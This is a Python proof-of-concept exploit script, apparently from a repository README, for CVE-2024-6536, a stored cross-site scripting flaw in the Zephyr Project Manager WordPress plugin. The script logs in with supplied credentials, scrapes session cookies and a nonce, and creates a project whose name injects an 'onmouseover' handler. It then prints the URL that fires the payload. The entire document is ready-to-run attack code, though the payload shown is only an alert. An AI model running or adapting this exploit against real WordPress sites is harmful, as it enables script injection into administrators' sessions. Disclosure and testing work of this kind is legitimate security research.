README.md
Rendering markdown...
#!/bin/python3
import requests
import argparse
import sys
import re
def authenticate(username: str, password: str, url: str) -> str:
login_url = f'{url}/wp-login.php'
data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In'
}
response = requests.post(login_url, data=data, allow_redirects=False)
if response.status_code == 302:
set_cookie_header = response.headers.get('Set-Cookie', '')
cookie_pattern = r'wordpress_(?!test_cookie)[^;]+|wordpress_logged_in_[^;]+'
cookies = set_cookie_header.split('HttpOnly')
filtered_cookies = [re.findall(cookie_pattern, cookie)[0] for cookie in cookies if re.findall(cookie_pattern, cookie)]
return '; '.join(filtered_cookies)
else:
raise Exception(f'Unexpected status code returned from {login_url}: {response.status_code}')
def get_nonce(url: str, cookie: str) -> str:
zpm_nonce_url = f'{url}/wp-admin/admin.php?page=zephyr_project_manager_projects'
response = requests.get(zpm_nonce_url, headers={'Cookie': cookie})
if response.status_code == 200:
nonce_pattern = r'"zpm_nonce":"([^"]*)"'
match = re.search(nonce_pattern, response.text)
if match:
return match.group(1)
else:
raise Exception('Nonce value not found in the response.')
else:
raise Exception(f'Unexpected status code returned from {zpm_nonce_url}: {response.status_code}')
def create_xss_project(url: str, cookie: str, nonce: str) -> None:
post_url = f'{url}/wp-admin/admin-ajax.php'
data = {
"project_name": 'ProjectName" onmouseover="alert(42)"',
"project_description": "Description",
"project_categories": "",
"project_due_date": "",
"type": "list",
"priority": "priority_none",
"action": "zpm_new_project",
"zpm_nonce": nonce
}
response = requests.post(post_url, headers={'Cookie': cookie}, data=data)
if response.status_code == 200:
print('\nXSS Project Name created successfully\n')
project_id_match = re.search(r'data-project-id=\\"([0-9]*)', response.text)
if project_id_match:
project_id = project_id_match.group(1)
malicious_url = f'{url}/wp-admin/admin.php?page=zephyr_project_manager_projects&action=edit_project&project={project_id}'
print(f'XSS Url -> {malicious_url}')
else:
raise Exception('Project ID not found in the response.')
else:
raise Exception(f'Project creation failed with status code {response.status_code}')
def main(username: str, password: str, url: str) -> None:
try:
cookie = authenticate(username, password, url)
nonce = get_nonce(url, cookie)
create_xss_project(url, cookie, nonce)
except Exception as e:
sys.exit(f'ERROR: {str(e)}')
if __name__ == "__main__":
parser = argparse.ArgumentParser(
prog='CVE-2024-6536.py',
description='PoC script for CVE-2024-6536. The script requires an authenticated user with Zephyr Admin privileges.',
epilog='Vulnerability explanation at https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-6536'
)
parser.add_argument('-u', '--username', required=True, help='Username for authentication')
parser.add_argument('-p', '--password', required=True, help='Password for authentication')
parser.add_argument('-w', '--wordpressUrl', required=True, help='Base URL of the WordPress site')
arguments = parser.parse_args()
main(arguments.username, arguments.password, arguments.wordpressUrl)